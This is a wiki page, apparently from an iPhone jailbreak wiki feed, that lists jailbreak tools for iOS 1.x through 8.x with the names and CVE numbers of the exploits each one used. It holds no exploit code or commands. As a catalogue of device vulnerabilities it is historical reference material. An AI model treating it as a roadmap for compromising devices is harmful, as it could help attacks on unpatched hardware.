== Common exploits which are used in order to jailbreak different versions of iOS ==&lt;br /&gt;
* [[Pwnage]] + [[Pwnage 2.0]] (together to jailbreak the [[n82ap|iPhone 3G]])&lt;br /&gt;
* [[ARM7 Go]] (from iOS 2.1.1) (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])&lt;br /&gt;
* [[0x24000 Segment Overflow]] (for [[untethered jailbreak]] on [[n88ap|iPhone 3GS]] with [[Bootrom 359.3|old bootrom]] and [[n72ap|iPod touch 2G]] with [[Bootrom 240.4|old bootrom]]; another exploit as the [[limera1n Exploit]] is required)&lt;br /&gt;
* [[limera1n Exploit]] (for [[tethered jailbreak]] on [[n88ap|iPhone 3GS]], [[n18ap|iPod touch 3G]], [[k48ap|iPad]], [[iPhone 4]], [[n81ap|iPod touch 4G]] and [[k66ap|Apple TV 2G]])&lt;br /&gt;
* [[usb_control_msg(0xA1, 1) Exploit]] (also known as &amp;quot;steaks4uce&amp;quot;) (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak different versions of iOS ==&lt;br /&gt;
=== [[PwnageTool]] (2.0 - 5.1.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* uses the exploits listed below to untether up to iOS 5.1.1&lt;br /&gt;
&lt;br /&gt;
=== [[redsn0w]] (3.0 - 6.0) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* uses the same exploits as [[Absinthe|Absinthe]] and [[Absinthe|Absinthe 2.0]] to jailbreak iOS 5.0/5.0.1 and 5.1.1&lt;br /&gt;
* uses the exploits listed below to untether up to iOS 5.1.1&lt;br /&gt;
&lt;br /&gt;
=== [[sn0wbreeze]] (3.1.3 - 6.1.3) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* uses the exploits listed below to untether up to iOS 6.1.2&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 1.x ==&lt;br /&gt;
=== [[AppTapp Installer]] (1.0 / 1.0.1 / 1.0.2) ===&lt;br /&gt;
* iBoot &amp;lt;code&amp;gt;cp&amp;lt;/code&amp;gt;-command exploit&lt;br /&gt;
&lt;br /&gt;
=== [[iBrickr]] (1.0 / 1.0.1 / 1.0.2) ===&lt;br /&gt;
* iBoot &amp;lt;code&amp;gt;cp&amp;lt;/code&amp;gt;-command exploit&lt;br /&gt;
&lt;br /&gt;
=== [[AppSnapp]]/[[JailbreakMe|JailbreakMe 1.0]] (1.0 / 1.0.1 / 1.0.2 / 1.1.1) ===&lt;br /&gt;
* [[LibTiff|libtiff exploit]] (Adapted from the PSP scene, used by [[JailbreakMe]]) ({{cve|2006-3459}})&lt;br /&gt;
&lt;br /&gt;
=== [[mknod|OktoPrep]] (1.1.2) ===&lt;br /&gt;
&amp;quot;Upgrade&amp;quot; to 1.1.2 from a jailborken 1.1.1&lt;br /&gt;
* [[mknod]]&lt;br /&gt;
&lt;br /&gt;
=== [[Soft Upgrade]] (1.1.3) ===&lt;br /&gt;
&amp;quot;Upgrade&amp;quot; to 1.1.3 from a running jailbroken 1.1.2&lt;br /&gt;
&lt;br /&gt;
=== [[ZiPhone]] (1.1.3 / 1.1.4 /1.1.5) ===&lt;br /&gt;
* [[Ramdisk Hack]]&lt;br /&gt;
&lt;br /&gt;
=== [[iLiberty+|iLiberty / iLiberty+]] (1.1.3 / 1.1.4 /1.1.5) ===&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 2.x ==&lt;br /&gt;
=== [[QuickPwn]] (2.0 - 2.2.1) ===&lt;br /&gt;
* uses [[Pwnage]] and [[Pwnage 2.0]]&lt;br /&gt;
&lt;br /&gt;
=== [[Redsn0w Lite]] (2.1.1) ===&lt;br /&gt;
* [[ARM7 Go]] (for [[n72ap|iPod touch 2G]] only)&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 3.x ==&lt;br /&gt;
=== [[purplera1n]] (3.0) ===&lt;br /&gt;
* [[iBoot Environment Variable Overflow]] ({{cve|2009-2795}})&lt;br /&gt;
* uses [[0x24000 Segment Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[blackra1n]] (3.1.2) ===&lt;br /&gt;
* [[usb_control_msg(0x21, 2) Exploit]] ({{cve|2010-0038}})&lt;br /&gt;
* uses [[0x24000 Segment Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[Spirit]] (3.1.2 / 3.1.3 / 3.2) ===&lt;br /&gt;
* [[MobileBackup Copy Exploit]]&lt;br /&gt;
* [[Incomplete Codesign Exploit]]&lt;br /&gt;
* [[BPF_STX Kernel Write Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== [[Star|JailbreakMe 2.0 / Star]] (3.1.2 / 3.1.3 / 3.2 / 3.2.1) ===&lt;br /&gt;
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})&lt;br /&gt;
* [[Incomplete Codesign Exploit]]&lt;br /&gt;
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})&lt;br /&gt;
&lt;br /&gt;
=== [[limera1n]] / [[greenpois0n (jailbreak)|greenpois0n]] (3.2.2) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[Packet Filter Kernel Exploit]]&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 4.x ==&lt;br /&gt;
=== [[Star|JailbreakMe 2.0 / Star]] (4.0 / 4.0.1) ===&lt;br /&gt;
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})&lt;br /&gt;
* [[Incomplete Codesign Exploit]]&lt;br /&gt;
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})&lt;br /&gt;
&lt;br /&gt;
=== [[limera1n]] /  (4.0 / 4.0.1 / 4.0.2 / 4.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[Packet Filter Kernel Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[Packet Filter Kernel Exploit]]&lt;br /&gt;
&lt;br /&gt;
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.2.1) ===&lt;br /&gt;
* uses different common exploits&lt;br /&gt;
* [[HFS Legacy Volume Name Stack Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.2.6 / 4.2.7 / 4.2.8) ===&lt;br /&gt;
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})&lt;br /&gt;
* [[HFS Legacy Volume Name Stack Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.3 / 4.3.1 / 4.3.2 / 4.3.3) ===&lt;br /&gt;
Except for the [[n18ap|iPod touch 3G]] on iOS 4.3.1.&lt;br /&gt;
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})&lt;br /&gt;
* [[IOMobileFrameBuffer Privilege Escalation Exploit]] ({{cve|2011-0227}})&lt;br /&gt;
&lt;br /&gt;
=== i0nic's Untether (4.3.1 / 4.3.2 / 4.3.3) ===&lt;br /&gt;
used in [[redsn0w]] to untether iOS 4.3.1 / 4.3.2 / 4.3.3&lt;br /&gt;
* [[ndrv_setspec() Integer Overflow]]&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 5.x ==&lt;br /&gt;
=== [[unthredera1n]] (5.0 / 5.0.1 / 5.1 / 5.1.1) ===&lt;br /&gt;
Except for the [[iPad 3]]&lt;br /&gt;
* MobileBackup2 Copy Exploit&lt;br /&gt;
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})&lt;br /&gt;
* [[AMFID code signing evasion]] ({{cve|2013-0977}})&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[Timezone Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
=== [[Absinthe]] (5.0 on [[n94ap|iPhone 4S]] only / 5.0.1 on [[iPad 2]] and [[iPhone 4S]])  ===&lt;br /&gt;
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}}) (used both for payload injection and untether)&lt;br /&gt;
* [[HFS Heap Overflow]] ({{cve|2012-0642}})&lt;br /&gt;
* unknown exploit ({{cve|2012-0643}})&lt;br /&gt;
&lt;br /&gt;
=== [[Corona|Corona Untether]] (5.0.1)  ===&lt;br /&gt;
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}})&lt;br /&gt;
* [[HFS Heap Overflow]] ({{cve|2012-0642}})&lt;br /&gt;
* unknown exploit ({{cve|2012-0643}})&lt;br /&gt;
&lt;br /&gt;
=== [[Absinthe|Absinthe 2.0]] and [[Rocky Racoon|Rocky Racoon Untether]] (5.1.1) ===&lt;br /&gt;
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})&lt;br /&gt;
* Racoon DNS4/WINS4 table buffer overflow ({{cve|2012-3727}})&lt;br /&gt;
* MobileBackup2 Copy Exploit&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 6.x ==&lt;br /&gt;
=== [[evasi0n]] (6.0 / 6.0.1 / 6.0.2 / 6.1 / 6.1.1 / 6.1.2)  ===&lt;br /&gt;
* [[Symbolic Link Vulnerability]] ({{cve|2013-0979}})&lt;br /&gt;
* [[Timezone Vulnerability]]&lt;br /&gt;
* [[Shebang Trick]] ({{cve|2013-5154}})&lt;br /&gt;
* [[AMFID code signing evasion]]&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[IOUSBDeviceFamily Vulnerability]] ({{cve|2013-0981}})&lt;br /&gt;
* [[ARM Exception Vector Info Leak]] ({{cve|2013-0978}})&lt;br /&gt;
* [[dynamic memmove() locating]]&lt;br /&gt;
* [[vm_map_copy_t corruption for arbitrary memory disclosure]]&lt;br /&gt;
* [[kernel memory write via ROP gadget]]&lt;br /&gt;
* [[Overlapping Segment Attack]] ({{cve|2013-0977}})&lt;br /&gt;
&lt;br /&gt;
=== [[p0sixspwn]] (6.1.3 / 6.1.4 / 6.1.5 / 6.1.6) ===&lt;br /&gt;
* [[posix_spawn kernel information leak]] ({{cve|2013-3954}}) (by [[i0n1c]])&lt;br /&gt;
* [[posix_spawn kernel exploit]] ({{cve|2013-3954}}) (by [[i0n1c]])&lt;br /&gt;
* [[mach_msg_ool_descriptor_ts for heap shaping]] ({{cve|2013-3953}})&lt;br /&gt;
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]])&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 7.x ==&lt;br /&gt;
=== [[evasi0n7]] (7.0 / 7.0.1 / 7.0.2 / 7.0.3 / 7.0.4 / 7.0.5 / 7.0.6) ===&lt;br /&gt;
{{Section Stub}}&lt;br /&gt;
* [[Symbolic Link Vulnerability]] ({{cve|2013-5133}})&lt;br /&gt;
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})&lt;br /&gt;
* CrashHouseKeeping chmod vulnarability ({{cve|2014-1272}})&lt;br /&gt;
* unknown exploit ({{cve|2014-1278}})&lt;br /&gt;
&lt;br /&gt;
=== [[Geeksn0w]] (7.1 / 7.1.1 / 7.1.2) ===&lt;br /&gt;
* [[limera1n]]'s bootrom exploit ([[Tethered jailbreak]]) on [[iPhone 4]]&lt;br /&gt;
&lt;br /&gt;
=== [[Pangu]] (7.1 / 7.1.1 / 7.1.2) ===&lt;br /&gt;
* [[i0n1c]]'s Infoleak vulnerability (Pangu v1.0.0)&lt;br /&gt;
* break_early_random (by [[i0n1c]] and Tarjei Mandt of Azimuth) (Pangu v1.1.0)&lt;br /&gt;
* LightSensor / ProxALSSensor kernel exploit (Pangu 1.0.0) ({{cve|2014-4388}})&lt;br /&gt;
* TempSensor kernel exploit (Pangu 1.1.0) ({{cve|2014-4388}})&lt;br /&gt;
* &amp;quot;syslogd chown&amp;quot; vulnerability&lt;br /&gt;
* enterprise certificate (no real exploit, used for initial &amp;quot;unsigned&amp;quot; code execution)&lt;br /&gt;
* &amp;quot;foo_extracted&amp;quot; symlink vulnerability (used to write to /var) ({{cve|2014-4386}})&lt;br /&gt;
* /tmp/bigfile (a big file for improvement of the reliability of a race condition)&lt;br /&gt;
* VoIP backgrounding trick (used to auto restart the app)&lt;br /&gt;
* hidden segment attack&lt;br /&gt;
* ptmx_get_ioctl crafted call exploit ({{cve|2014-4407}})&lt;br /&gt;
&lt;br /&gt;
== Programs which are used in order to jailbreak 8.x ==&lt;br /&gt;
=== [[Pangu8]] (8.0 / 8.0.1 / 8.0.2 / 8.1) ===&lt;br /&gt;
* an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)&lt;br /&gt;
* enterprise certificate (inside the IPA)&lt;br /&gt;
* a kind of dylib injection into a system process (see IPA)&lt;br /&gt;
* a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)&lt;br /&gt;
* a sandboxing problem in debugserver ({{cve|2014-4457}})&lt;br /&gt;
* the same/a similar kernel exploit as used in [[Pangu|the first Pangu]] ({{cve|2014-4461}}) (source @iH8sn0w)&lt;br /&gt;
* enable-dylibs-to-override-cache&lt;br /&gt;
* a new ovelapping segment attack ({{cve|2014-4455}})&lt;br /&gt;
* i0n1c's Kernel info leak ({{cve|2014-4491}})&lt;br /&gt;
&lt;br /&gt;
=== [[TaiG]] and [[PPJailbreak]] (8.0 / 8.0.1 / 8.0.2 / 8.1 / 8.1.1 / 8.1.2) ===&lt;br /&gt;
* LightSensor / ProxALSSensor kernel exploit (Also used in Pangu 1.0.0)&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]]) (source: https://twitter.com/iH8sn0w/status/538602532088860672; also used in p0sixspwn)&lt;br /&gt;
* enable-dylibs-to-override-cache (Also used in Pangu8)&lt;br /&gt;
* a kind of dylib injection into a system process (see IPA) (Also used in Pangu8 but tweaked slightly)&lt;br /&gt;
* a new ovelapping segment attack [in a modified version] ({{cve|2014-4455}})&lt;br /&gt;
* a new afc symlink attack ({{cve|2014-4480}})&lt;br /&gt;
* mach_ports info leak {{cve|2014-4496}}&lt;br /&gt;
* IOHIDFamily Kernel exploit ({{cve|2014-4487}})&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
</feed>